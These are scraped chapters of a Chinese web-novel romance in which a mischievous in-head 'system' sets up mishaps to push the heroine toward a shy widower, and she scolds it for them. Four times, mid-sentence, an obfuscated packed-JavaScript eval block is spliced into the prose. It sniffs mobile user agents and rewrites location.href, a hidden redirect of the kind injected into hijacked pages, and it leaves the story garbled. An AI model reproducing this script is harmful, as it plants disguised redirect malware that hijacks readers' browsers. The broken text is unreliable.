曲江吟正愁没个爬山搭子呢,当即粲然一笑,向他发出组队邀请:“我就不一样了,每年至少来两次,对这里非常熟悉,需要我给你当导游吗?” “好啊。”发自心底的欣喜走了捷径,没经过他的脑子,直接从他嘴里蹦了出来。 说完他才惊觉自己居然发出了如此雀跃的声音,刚刚恢复如常的脸再次被如烟似雾的红霞笼罩。 曲江吟暗自感慨了一句“他可真容易脸红”后,便招了招手,示意他跟上。 “走吧。” 系统欣慰极了,激动得像个目睹寡王女儿破茧重生、变成海王将帅哥一网打尽的老母亲。 “不愧是我选中的女人,天选海王圣体,随便一出手就把徐逸风撩得不要不要的。” 系统的嘴,骗人的鬼,这是曲江吟总结出来的经验。 “天选海王圣体?你刚绑定我那会儿可不是这么说的。” “啊?是吗?”系统天天在网上高强度冲浪,本就不太灵光的脑子愈发迟钝了,连自个儿说过的话都忘了。 忘了也没关系,贴心的曲江吟会帮它想起来的。 “你不是说……我脑生反骨,一看就是造反的料吗?” “呃……我当然希望你能争天下收美男了,可造反大业已经没戏了,我只能想方设法帮你收美男了。不过,你刚才表现得非常完美,完全有成为海王的潜力。” 她压根儿没兴趣当什么海王,意兴阑珊地回应道:“别了吧,我可没那么大的能耐。” “反正我觉得你拿下徐逸风指日可待!” “你少BB两句吧,八字还没一撇呢。别人都是半路开香槟,你倒好,车还没开出去呢,就想着开香槟了。” 她的话不存在歧义,但架不住系统的脑子非要往歪路上想啊! 自从在网上了解到“开车”这个词的另一种含义,它一听到“开车”,哪怕这两个字没挨着,也会满脑子黄色废料。 “宿主,你放心好了,我是正规系统,会严格遵守《宿主隐私保护法》的规定,你和帅哥开车的时候,我绝对不会偷窥!” 曲江吟:??? 5. 005 “你说的是Chinese吗?我咋听迷糊了呢?我寻思我也没说过自己要跟帅哥开车啊!你胡咧咧啥呀?你挺能啊,网上那些糟粕全让你给学会了!你就不能学点儿好的?” 这下,系统也意识到自己过于离谱了,它没给自己找借口,直截了当地道了歉:“不好意思啊,宿主,都是我的错,说话不过脑子,你就当我突然抽了个风吧。” “突然?呵呵!抽风才是你的常态,我真想把你卖了赚个外快!” “别啊,离了我,谁帮你搜寻美男啊?” 曲江吟没再回话,明摆着不想搭理它。 这时,系统灵机一动,兴奋地补充道:“我还能兼职摄影师呢,难道你不想记录你和帅哥相处的点点滴滴吗?” “不用了,专业的摄影师我找不着,业余的一抓一大把。” 曲江吟借着呼吸新鲜空气的动作,让自己乱糟糟的心情平静下来。 随后她转头对徐逸风说:“要不咱俩合个影吧?” “好。”徐逸风微笑着点头答应。 曲江吟从附近找了一位面容和善的阿姨,拜托对方帮忙拍照,把自己的手机递了过去。 眼见宿主真去找别人当摄影师了,系统急了,为了向她展示自己有多么无可替代,它急中生智,趁两人在阿姨的指示下调整姿势的时候,暗自嘀咕了一句“平地摔可是傻白甜的天赋技能”,悄悄攻击了徐逸风的脚踝。 徐逸风瞬间失去平衡,怀着“我怎么忽然抽筋了”的疑问,径直朝曲江吟站立的位置倒了下去。 曲江吟急忙揽住他劲瘦的腰身,又用另一只手死死扣住他宽阔的肩膀,费了好大的劲儿才堪堪稳住他摇摇欲坠的身体。 阿姨震惊之余,下意识按了拍摄键,曲江吟和徐逸风的人生照片就这么猝不及防地拍好了。 对于这样的结果,系统却一点也不满意,一时疏忽把自己的心里话说了出来:“不对呀,怎么没亲在一起呢?平地摔之后男女双方不是应该kiss吗?” “你说什么???”曲江吟愤怒的声音响彻脑海。 系统差点儿被吓得跌了辈分,磕磕巴巴地回应道:“没……没……没什么啊。” “你给我等着,待会儿再收拾你!” 曲江吟撂下一句狠话,无论它怎么解释都不再回应它。 她先把脸红的跟煮熟的虾有一拼的徐逸风扶起来,接着给阿姨道了谢,顺便拿回自己的手机,最后打开相册,想看一看阿姨有没有拍到徐逸风是怎么跌倒的。 结果阿姨只拍了一张照片,就是她怀抱着徐逸风的照片。 阿姨拍摄的时机非常巧,正好是两人短暂对视的时候,因此这张照片看起来竟然有种诡异的浪漫感。 “阿姨拍得还挺好。”说话的同时,她抬手把手机伸到徐逸风眼前,想看看他对他自己被拍得像个依偎在她怀里的小娇夫有什么想法。 虽然照片里的他有股莫名的娇弱感,但他不得不承认这张照片拍得确实不错。 “能把这张照片发给我吗?” 他这种大大方方的态度倒是让曲江吟颇感意外:“我还以为你会让我删了它呢。” “拍得这么好,为什么要删?”他说得坦荡如砥,笑得温柔如水。 曲江吟挑了挑眉,一边轻戳手机屏幕,一边噙着笑回应道:“我这就发给你。” 徐逸风盯着自己的手机屏幕,嘴角的笑意逐渐加深。 这张照片不止记录了他的“娇”,还记录了曲江吟的“勇”,能用自己的“娇”来衬托对方的“勇”,他甘之如饴,所以他不但不会删掉照片,还会好好珍藏。 之后,两人继续向山顶进发。 这下曲江吟总算有机会教训一下胡作非为的系统了。 “一天不搞事就浑身难受,你干脆改名叫搞事系统得了!” 系统弱弱地狡辩道:“我没想搞事啊,你俩干巴巴站在那儿拍照多没意思啊,他摔进你怀里的照片,要戏剧性有戏剧性,要故事感有故事感,你不是也挺满意的吗?” 她毫不留情地训斥道:“少跟我扯犊子!为了一张照片把人推倒,你咋这么歹毒呢?以前我只觉得你缺心眼,没想到你的心眼压根儿不是缺了,而是坏了!” 系统顿时无比委屈:“我没推他,只是让他脚抽筋儿了。” “抽筋儿也不行!万一我没扶住他,他后脑勺着地摔出问题怎么办?你做事完全不考虑后果的吗?系统,你太让我失望了!” “我……我……”系统本想说自己有分寸,不会让徐逸风受伤,然而强烈的愧疚影响了它的语言功能,让它只能嗫喏出一个“我”字。 别误会,它可不会为了害徐逸风腿抽筋儿的事而感到愧疚,宿主对它感到失望才是它深感愧疚的原因。 最终,系统化愧疚为砥砺,诚恳地向她保证道:“对不起,我不会再让你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15322423|167539||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 失望了!” “希望你说到做到。” 系统扫了徐逸风一眼,突然觉得笑容满面的他怎么看怎么碍眼。 要不是因为他,自己怎么会挨训?自己这么憋屈,他却笑得跟朵向日葵似的,真烦人! 抱着“我笑不出来,你也不许笑”的念头,系统从不远处的树林中引来一条蛇,打算吓唬吓唬徐逸风。 事实证明,这招确实有效。徐逸风看到那条蛇的第一眼就不笑了,他立刻挡在曲江吟身前,沉着冷静地说:“前面有条蛇,似乎想穿过石阶爬到对面,咱们等它过去再走。” 一听到有蛇,曲江吟的鉴定瘾立马犯了,她横跨一步,按住徐逸风的臂膀,探头探脑地打量着地上黄黑相间体型纤长的蛇。 “这多半是王锦蛇,没毒的,不用怕,不过,不管有毒没毒,遇到蛇都该远远避开。” 徐逸风有些意外,偏头看向她,眼里满是崇拜:“你真厉害,我只知道这是蛇,既认不出它的种类,也分辨不出它有毒没毒。” 夸赞的话谁都爱听,曲江吟心里十分受用,不过,她觉得认出随处可见的王锦蛇算不上厉害,因此没好意思把心头那丝得意表现出来。 她谦虚地摆了摆手:“我养了宠物蛇,所以对蛇有所了解,但我了解的也不多,王锦蛇比较常见,我才能一眼认出来。” 徐逸风听说过宠物蛇,却从来没见人养过,心里难免有些好奇:“蛇好养活吗?” “说实话,比猫咪和狗子好养活多了,既不用遛,吃的又少,省心得很。我养的是猪鼻蛇,名字叫略宝,它吐蛇信子的样子特别可爱。” 养宠物的人一聊起自家宠物就会变成话唠,曲江吟也不例外。 “我家略宝是有点肥宅属性在身上的,贪吃不爱动,都胖出双下巴了。别的蛇苗条得像辣条,它胖得像腊肠。我经常把它放到毛毯上,它会用自己的小猪鼻拱着毛毯,咕蛹来咕蛹去的,超级可爱!它喝水的时候也非常可爱,跟个水管子似的!” 她说这些话的时候,眼睛亮得惊人,幸福和快乐都快从她脸上溢出来了。 徐逸风脸上本来挂着春日暖阳般的笑容,然而等他察觉到心底的异样后,和煦的笑容瞬间凝固。 把那份异样掰开了揉碎了仔细一瞧,名为羡慕的情绪就这样暴露在他眼前。 他居然会羡慕一条蛇! 一条蛇而已,能有什么值得他羡慕的? 6. 006 他凝视着笑靥如花的曲江吟,蓦地明白了。 略宝得到了曲江吟毫无保留的爱…… 系统发现徐逸风的心跳变快了,以为他害怕了,不禁暗自腹诽道:“蛇都快离开了,你才想起来害怕了!” 见曲江吟还在那儿喋喋不休地讲她的略宝有多可爱,系统忍不住提醒道:“宿主,徐逸风怕蛇,你换个话题吧。” “啊?他不像怕蛇的人啊。” 系统信誓旦旦地说:“我能检测到他的心跳,你说的越多,他的心跳越快。” 曲江吟瞅了瞅面无异色的徐逸风,半信半疑地问了一句:“你怕蛇吗?” 徐逸风摇了摇头:“不怕,听你说了这么多略宝的可爱之处,我都想养条蛇看看它到底有没有你说的那么可爱。” 他的表情无比自然,语气也很真诚,不像是装的。 系统简直纳闷到了极点,它边思考边嘀咕:“不怕心跳怎么这么快?总不能是动心了吧?不会吧,你在大讲特讲略宝的事,他动心个什么劲儿?难道……他对略宝动心了???” 曲江吟彻底听不下去了,她曾听过一句谚语“人类一思考,上帝就发笑”,现在她只想回系统一句“系统一思考,宿主就发笑”,但考虑到系统堪比幼儿园肄业的理解能力,她果断扔掉这个念头,直截了当地喷了回去:“你快闭嘴吧!你说的这都什么跟什么呀?” 徐逸风的注意力一直集中在曲江吟身上,自然能第一时间发现她的不对劲,见她忽然愣住了,他也懵了,她怎么走神了? 他赶紧伸手在她眼前晃了晃:“怎么了?” 曲江吟瞬间回过神来,大脑飞速运转,不到一秒就编了个合理的理由来解释自己为何会突然走神。 “我刚才在想你适合养什么蛇,居然想得入迷了。”理由编好了,情绪还没调整过来,因此她的笑容看起来稍微有点干巴。 “哦?你觉得我适合养什么蛇呢?”其实他想养蛇并非出自喜欢,只是希望自己能跟曲江吟有更多的共同话题。 “你是新手,首推温顺无毒便宜好养的玉米蛇,不过,我觉得帅气的黑王蛇更加契合你的气质。” “谢谢你的建议,我会好好考虑的。” “想好了再养哦,那毕竟是蛇,脑子就那么一丢丢,”说着,她抬手比了个偷国男人看了会愤怒的手势,“在提供情绪价值这方面,肯定比不过猫咪和狗子。” “好,”徐逸风乖乖应下,“如果我有什么不懂的地方,可以请教你吗?” “当然可以,我乐意之至,”曲江吟怎么可能拒绝一个用星星眼凝望着她的大帅哥?“走吧,再有十几分钟就到山顶了。” 到达山顶之后,徐逸风接了个电话,有人找他有事,还挺急的,所以他不能继续悠哉悠哉地爬山了。 为了尽快下山,他决定搭乘观光缆车。 曲江吟本来打算独自步行下山,可她还没来得及开口道别,就在徐逸风“你怎么忍心抛下我”的眼神攻势中败下阵来,最终决定和他一起去乘坐观光缆车。 她绝不承认自己色令智昏,都怪徐逸风,他那副我见犹怜的模样谁看了不迷糊啊?她不过是顺水推舟罢了,反正没了爬山搭子,爬山的乐趣也会大打折扣。 坐在缆车上观景别有一番趣味,曲江吟很享受这种居高临下俯瞰山川美景的感觉。 身边是美男,脚下是美景,要不是她和徐逸风仅仅见过几次面,关系还不太熟,她早把心里的玩笑话抑扬顿挫地说出来了——爱妃,看看朕为你打下的江山! 她想了想,称呼爱妃不行,称呼爱卿不就行了! 于是她刻意清了清嗓子,捋了捋并不存在的胡须,粗声粗气地说:“这都是朕打下的江山!徐爱卿,朕的江山如何?” 拿腔作调的声音让徐逸风忍俊不禁,他十分配合地拱了拱手,张口就是成语大全:“幅员辽阔,物产丰饶,兵强马壮,龙腾虎跃,风调雨顺,国泰民安。国家繁荣富强,百姓安居乐业,陛下,您厥功甚伟!” “爱卿所言,甚得朕心,赏!”说罢,她拉开拉链,打开背包,在里面扒拉了几下,掏出一个栩栩如生的兰花螳螂玩偶,笑着递给徐逸风。 “这是我在山下买的,漂亮吧?你着急离开,肯定没时间逛纪念品店了,把这个玩偶留着当纪念吧。” 徐逸风心头一震,所以……刚刚的玩笑只是铺垫,眼前的礼物才是重头戏? 因为担心直接送自己不肯收,她才用开玩笑这种迂回又轻松的方式将礼物送给自己吗? 想到这里,他的心仿佛刚捞出来的豆腐似的,软得一塌糊涂。 此刻在他心间翻涌的情绪,除了感动,还有无法言说的懊恼,他很想回礼,却拿不出一件送得出手的东西。 曲江吟很清楚徐逸风这种吃人嘴短拿人手软的人会纠结什么,不等他开口又补充了一句:“你都请我坐缆车了,别纠结回礼的事了。” 徐逸风低头瞅了瞅手中的玩偶,又抬头看向曲江吟,轻轻应了一声:“好。” 此时,曲江吟刚好被系统咋咋呼呼的声音吵得分了神,因此没能注意到他那双容得下万物,却藏不住情意的眼睛…… 缆车行驶至半山腰时,忽然毫无征兆地停了下来。 当徐逸风还在疑惑“怎么了?是不是停电了?”的时候,曲江吟已经开始在脑海里质问系统了。 “说!是不是你搞的鬼?” “是啊,”系统承认得异常干脆,随后又用难掩得意的语气卖弄道:“宿主,你知道什么叫做吊桥效应吗?” 曲江吟咬牙切齿地回应道:“我只知道我想把你吊起来打!” “我没有实体,不可能被吊起来,你们两个倒是被缆车吊在空中了,上上不去,下下不来。”脑子缺根弦的系统丝毫没有意识到它的话听起来有多么阴阳怪气。 曲江吟已经出离愤怒了:“这不是你干的好事吗?你居然还敢幸灾乐祸?” “没有啊,我只是在陈述事实。你知道是我干的,徐逸风不知道呀,他必然会担心缆车是不是出故障了、会不会掉下去。” “我真是服了!你老折腾他干嘛呀?” “这怎么能叫折腾呢?为了促进你们俩的感情,我搞一些无伤大雅的小把戏也情有可原吧。他的心跳已经加快了,估计很快就会把自己心跳加速的感觉当成是对你的心动!” 曲江吟很想说徐逸风赶时间,心跳加快多半是因为焦急,但考虑到系统可不在乎徐逸风究竟急不急,这么说只能让它消停一时,想让 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15322424|167539||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 它彻底消停不再搞事,还是得换个说法。 “你就不怕弄巧成拙?你一直暗戳戳地搞事,没准儿会让他觉得每次遇到我都没什么好事,在心里给我按个瘟神的名头,对我避之不及呢。” “啊?”系统从来没有往这方面想过,“应该……应该不会吧?我看他对你挺有好感的呀,怎么可能把你当瘟神呢?” “呵呵,你再这么胡搞瞎搞,他对我的那点儿好感迟早被你败光,我……算了,不想跟你扯这些有的没的了,赶紧让缆车重新启动!坐缆车的人又不止我们两个,你这不是乱来吗?其他人会被吓成什么样子,我都不敢想!” 她不知道的是,系统不光让缆车停了下来,还让徐逸风产生了幻听。 就在曲江吟诘问系统的时候,徐逸风陡然听到缆车顶部发出一连串异响,声音不大,却格外瘆人。 因此他并没有曲江吟想的那么急,反倒慌得不行,哪怕他不恐高,也受不了被困在空中动弹不得,还得时刻担心缆车会不会掉下去的感觉。 不过,他不想在曲江吟面前露怯,竭力维持着淡定自若的神态。 端详着双目微阖气定神闲的曲江吟,他由衷地感到佩服,“泰山崩于前而色不变”这句话就像专门为她写的一样。 “你似乎一点也不担心缆车会掉下去呢?” 曲江吟掀开眼皮,露出一双灿若星辰熠熠生辉的眼睛。 “有啥好担心的?吉人自有天相,老天爷才舍不得把我送到阎王爷手中呢!” 她刚说完,缆车便动了起来,令徐逸风神经紧绷的异响也戛然而止。 “瞧!这就叫做言出法随。”她往后一靠,后背紧贴缆车的椅背,同时抬起左脚搭在右腿的膝盖上,整个人要多惬意有多惬意,一副“看我多靠谱,信我准没错”的模样。 她这副做派摆明了是在故意逗徐逸风。 徐逸风的确笑了,却并非被她逗笑的。 他的心好似被猫咪蹭过一般,酥酥痒痒的,痒意蔓延到脸上,勾勒出足以令无数人倾心的微笑。 没想到她不仅轻易看穿了自己极力遮掩的恐慌,还特意用轻松的语调、肆意的姿态来抚平自己被惧意蹂/躏得皱皱巴巴的心。 强势又不失温柔,直爽又不失细腻,幽默又不失分寸,这样的人,他如何能不为之心折、不为之心动、不为之着迷? “你心态真好,刚才缆车发出怪声的时候,我人都快吓傻了,你却像根本没听到似的,依旧淡定如常。” 曲江吟的笑容凝固了一瞬,什么怪声?她怎么没听到呢? 不用问,肯定又是系统干的好事! 她明明只想开个小小的玩笑,活跃一下沉闷的气氛,却因为系统的搅局直接装了波大的,她都不知道该说什么好了,只能生硬地转移了话题…… 当天晚上,曲江吟洗完澡回到卧室,发现手机上多出好几个未接来电,从号码归属地来看,应该不是她妈打来的。 她没多想,直接拨了回去。 接通的瞬间,她还没来得及开口,便听见一个陌生又粗粝的声音恶声恶气地问道:“你就是曲江吟吧?” “没错,你是?” “我是安钧羽他爸,你这个丧门星,休想独吞他的遗产!” 7. 007 曲江吟的眉头登时拧成一团,她撩开垂在脸旁半干不湿的长发,一屁股坐在床边,翘起二郎腿,冷声反问道:“安钧羽是他妈抚养长大的,你这种不称职的父亲,哪儿来的脸觊觎他的遗产?” “你竟敢质问我?我还想问问你呢!他分明是被你克死的!你怎么有脸霸占他的房子和抚恤金?” “拜托,他远在非洲,我怎么可能克到他?况且他去世之后,我升了职,加了薪,还发了财,无论怎么看,都是他克我好吧!房子首付是我俩一块儿攒的,房贷也是我俩一起还的,跟你有什么关系?轮得到你在这儿哔哔赖赖?你当初没付过抚养费,那就别惦记他的抚恤金!你要点儿脸,就是对全人类最大的贡献!” 她的语速超级快,跟机关木仓扫射似的,直接把安存海那颗内存小运行慢的大脑喷宕机了。 他如同卡壳的录音机,不停重复着“你,你,你……”,过了好一会儿,才憋出一句怒气值拉满、杀伤力低下的话来:“他怎么娶了你这么个泼妇?” 曲江吟的嘴炮功力仅仅发挥了一成,老渣男已然破防,这让她倍感无趣。 她盯着刚抹完护手霜的手,思索着指甲是不是该剪了。 “娶泼妇总比娶小三好吧?我跟你这种抛妻弃子贪图亡子遗产的垃圾没什么话好说的!你给我有多远滚多远!” 骂完,她立刻挂断电话,顺手将这个号码拉黑。 然后她将手机丢到一边,起身返回卫生间,打算把头发吹干。 这时,一向急宿主之所急、宿主不急它也急的系统,自信满满地开口了:“宿主,我有一计,保准可以解决你的后顾之忧。” 曲江吟轻梳长发,漫不经心地回复道:“后顾之忧?有么?我咋不知道呢?” “安钧羽他爸呀,我帮你做掉他!” 她脸色一僵,梳头的动作也停了下来。 “你的意思是?”说着,她把梳子横在脖子前面,比划了一个抹脖子的动作。 “没错!如果他敢出现在你面前,我自然有的是办法弄他,可他现在远在千里之外,想让他发生意外,必须消耗大量的能量,只要你能拥有万人大军,我就能让他人间蒸发!” 曲江吟无语扶额,过了一会儿才冷笑着说:“你先回答我几个问题吧,首先,我为啥要弄死一个素未谋面的人?其次,看谁不爽就干掉谁也配叫计谋?最后,我上哪儿去拉一万个人给我当大军?” “谁让他跳出来恶心人的?你说他要点脸就是对全人类最大的贡献,依我看,让他彻底消失才是对全人类最大的贡献!不是说大学生很好骗吗?忽悠一万个军训的大学生给你当兵,还是有那么点儿可行性的……吧?” 说到最后,系统的语气明显带着底气不足的迟疑。 “人家那是不谙世事,不是不长脑子!”曲江吟把梳子丢到洗手台上,双手抱臂,满脸无语。 “你到底是枭雌系统还是反派系统?看某个人碍眼就下黑手灭掉他,这不是肆意妄为的反派才会干的事吗?” 听到她把反派系统和自己相提并论,系统很不服气:“论逼格,肆意妄为的反派哪比得上宁教我负天下人、休教天下人负我的枭雌啊?” “我不是这个意思,你怎么又跑题了?我真是……” 她深深地叹了一口气,换了副语重心长的口吻说:“系统,我跟你说,人的底线只会降不会升,一旦堕落就会泥足深陷。反派也好,枭雌也罢,对生长在和平年代法治社会的我来说,都是不该踏入的歪路,你明白吗?” 系统闷闷不乐地应了一声:“好吧。” 过了几天,徐逸风想约曲江吟去看电影。 曲江吟愿意跟他约会,却不乐意为那些烂片贡献票房。 其实徐逸风看过她的朋友圈,知道她喜欢游乐园那些惊险刺激的娱乐设施,之所以没有直接约她去游乐园,是因为他受不了眩晕感和失重感,担心两人一起玩那些项目时,他会在她面前失态。 不过,既然曲江吟不想去看电影,他只好硬着头皮把约会地点改成游乐园了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15322425|167539||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 两人约好的时间依旧是工作日,游乐园肯定不如周末热闹,但也不会出现人挤人、排个队还得挑战膀胱极限的状况。 曲江吟抵达游乐园入口后,隔着老远的距离便看到鹤立鸡群的徐逸风了。 都说时尚完成度靠脸,实则不然,身材也很重要。对徐逸风来说,时尚无需刻意追求,因为老天爷亲自把时尚这碗饭喂给他吃了。 同样身着休闲服饰,他跟周围的人简直就是两种截然不同的画风。惹眼的长相,挺拔的身材,让他看起来犹如少女漫画的主角,其他人则像极了写实漫画的路人。 在人群中左顾右眄的他,第一时间发现了正大步朝他走来的曲江吟,原本沉寂幽静宛若深潭的眼眸,霎时泛起粼粼波光,他三步并作两步,快速朝她走去。 “长得高就是好,不管站在哪儿都跟个地标似的,我一眼就看到你了。” 徐逸风不禁莞尔,谁不喜欢幽默风趣的人呢?曲江吟为他提供了情绪价值,他也得好好回报才行。 为了博她一笑,他使劲儿压榨自己少得可怜的幽默细胞。 “你的话重塑了我的信心。” 他明显是在开玩笑,曲江吟适时地表现出因诧异而愿闻其详的样子:“哦?” “以前总有人说我不去打篮球、不去打排球、不去当模特,白长这么高了。听了你的话之后,我悟了,我不去打篮球、不去打排球、不去当模特怎么了?我还可以当地标啊。” 这种拿自己开涮的玩笑,显得他特别笨拙又分外可爱,曲江吟不由地笑出了声。 “走吧,地标先生,咱们进去吧。” 两人有说有笑地走进游乐园。 “你想先玩什么?过山车,跳楼机,旋转飞椅,极速风车,还是迪斯科转盘?” 尽管来之前吃过晕车药,徐逸风问出这个问题时,内心还是异常忐忑。 曲江吟摇了摇头,大大方方地解释道:“我来月经了,不方便玩这类项目。” 这时,两人身后传来一道明显的嗤笑声。 8. 008 声音很近,曲江吟当即回头,看到一个獐头鼠目笑得十分猥琐的谢顶男。 徐逸风刚想说“这并不好笑”,就被曲江吟气势十足的声音打断了。 “你和月经都是从同一个地方出来的,也算是老乡吧,不求你老乡见老乡,两眼泪汪汪,起码听到老乡的名字不该发出嘲笑声吧!” 谢顶男脸上的笑容挂不住了,数种情绪一拥而上,企图独占他那张大脸,尴尬捷足先登却一闪而过,羞恼迎头赶上却后继无力,愤怒最终拔得头筹,成功定格在他脸上。 他瞪着比绿豆大不了多少的眼睛,骂骂咧咧地反驳道:“呸!你和月经才是老乡呢!” 这人果然智商堪忧,曲江吟话里的大坑如此明显,他竟然想都不想就跳进去了。 对待蠢货,应该更加直白一点,省得他们听不懂你是在骂他们。 “我和月经当然是老乡了,难道你不是?那你是从哪儿冒出来的?莫非是从石头里面蹦出来的?哦,不对不对,辱大圣了,石头怎么可能孕育出你这么个玩意儿?” 谢顶男气得绿豆眼都快变成红豆眼了。 一旁的眼镜男见朋友被气得脸红脖子粗的,为了表现自己有多么讲义气,也开始对曲江吟发难:“你这人也太小心眼了吧,他又没笑你,你发什么神经啊?” 对方倒打一耙怎么办?不要辩解,要加倍骂回去! “我又没说你,你发什么癫啊?难不成是想找骂?诡计多端的抖M!” 眼镜男脸色一黑,瞬间切换成“我不跟女人一般见识”的丑恶嘴脸,不再就事论事,反而拿性别说事。 “你瞅瞅你还有个女人样吗?一点都不温柔,矜持、含蓄这些女人该有的美德,你是一点都不沾边儿啊!” 扑面而来的爹味儿熏得曲江吟差点儿当场哕出来。 “抱歉,我没看出来你是女的。” 眼镜男不明所以,挠了挠后脑勺,切了一声,反驳道:“什么眼神儿啊?我不是女的啊!” 曲江吟等的就是这句话,立马顺着他的话茬回怼道:“你不是女的,那我怎么当女人跟你有啥关系?用得着你来教?你算哪根儿葱?” “谁教你了?我劝你别太把自己当回事儿。”眼镜男的眉头皱得都能夹死苍蝇了。 曲江吟故意流露出同情的神态,长吁短叹地说:“哎~怎么年纪轻轻就得老年痴呆了?前脚指责我没有女人样,一点也不温柔,后脚就忘了自己说过的话了。哎呦~你出门怎么不挂个牌子呢?万一走丢了可怎么办呀?” 眼镜男比谢顶男聪明一些,很快便反应过来曲江吟是在拐着弯儿骂他呢。 “哼!装模作样,别以为我听不出来你在骂我,狗才戴牌子呢?” “呵呵!凭你也配跟狗子比?你哪有狗子可爱?” 此时,谢顶男搜肠刮肚,终于想出一个犀利的词语,指着曲江吟的鼻子,张口就骂:“寡廉鲜耻的贱人!” 曲江吟拦住义愤填膺的徐逸风,用眼神示意他稍安勿躁。 只见两只鸽子从谢顶男和眼镜男头顶飞过,空投了两大泡稀屎,精准命中二人的脑瓜顶。 谢顶男和眼镜男忽然感觉头顶热乎乎的,不约而同地抬起胳膊摸向头顶,结果摸了一手臭烘烘的屎,两人的表情瞬间变得比吃了屎还难看。 “鸽子都看不下去了,哈哈哈哈哈……”曲江吟顿时笑得花枝乱颤。 徐逸风则愣在了原地,这未免也太巧了吧? 谢顶男和眼镜男出了这么大的糗,巴不得立刻找个地缝钻进去,哪还有心思找曲江吟的茬? 曲江吟看够了热闹,便笑盈盈地挽住徐逸风的手臂,带他离开这处是非之地。 见到她的第一刻,徐逸风就想牵她的手,却始终没敢付诸行动,没想到反被她主动挽住手臂。虽然挽手臂比起牵手,稍微差那么点儿意思,但也足够亲密了。 此刻的他,像极了趁蜂群不在偷吃蜂蜜的熊,紧张兮兮地品尝着甜蜜。 尽管迷离的眼神、微红的脸颊、上扬的唇角早已出卖了他的心情,他还是想通过转移注意力的方式来遮掩自己的心情,因为他怕曲江吟会认为仅仅挽个手臂便如此雀跃的自己是在装纯。 毕竟一个即将奔三的鳏夫,却表现得像个青涩懵懂的纯情少年,任谁看了,都会觉得是在装纯吧。 回想起曲江吟把那两个男的怼得哑口无言的情形,他由衷地夸赞道:“你真的好厉害!我要是有你一半厉害,也不至于总是在言语交锋中吃亏了。” “嘿嘿,我可是吵遍天下无敌手的毒舌之王!”曲江吟满脸得意,单手叉腰,高抬下巴,当场cos了一下“可把我牛逼坏了,叉会儿腰”的表情包。 然后她竖起大拇指指着自己,无比自信地说:“以后遇到嘴皮子利索的硬茬子,你就联系我,滴滴代吵,逢吵必赢,竭诚为你服务!” “好啊,希望你的滴滴代吵能够早日做大做强,造福所有笨嘴笨舌的人。” 这时,一名身穿玩偶服的工作人员蹦蹦跳跳地朝他们这边走来。 “是黛丝娅!走,咱们去找她合影!”曲江吟兴奋地拉着徐逸风走了过去。 跟自己喜欢的角色拍完照后,她犹不尽兴,望着路边的纪念品商店,她蓦地冒出一个想法。 她仰头看向徐逸风,同时抬起手臂指向店门口,眼含期待地问了一句:“进去瞧瞧?” 徐逸风当然不会拒绝,曲江吟迫不及待地拉着他走进商店。 进去之后,她直奔陈列着各式发箍的货架,目光在众多兽耳发箍之间逡巡。 最终,她挑中一个土黄色的狗耳发箍,兴冲冲跑去收银台结了帐。 徐逸风被琳琅满目的发箍晃花了眼,一会儿觉得会发光的恶魔角发箍很适合曲江吟,一会儿又觉得毛绒绒的猫耳发箍更适合她,完全没注意到她的行动。 曲江吟拿着被店员告知是狐耳、她却坚决认为是狗耳的发箍, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15322426|167539||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 快步来到徐逸风面前,红唇微勾,露出别有用心的笑容。 “你戴这个一定超级好看!” 徐逸风直视着她的眼睛,没有被她眼里的狡黠唬住,乖顺地低下脑袋,如同等待牧师赐福的虔诚教徒。 曲江吟将发箍卡在他的头顶,眼睛眨也不眨地欣赏着气质温和又萌又帅的徐逸风,心里一阵暗爽:不愧是我!一眼就看出他贼适合狗塑! “我觉得发箍上的耳朵特别像柴犬的耳朵,柴犬有个最大的特点,就是比驴还犟的性格。你能不能模仿一下死活不愿意回家的柴犬?我想拉着你的手拍张照片。”曲江吟眼里的期冀都快凝成实质了。 拉手?还有这种好事? 徐逸风欣然答应,生怕晚答应一秒曲江吟就会改变主意。 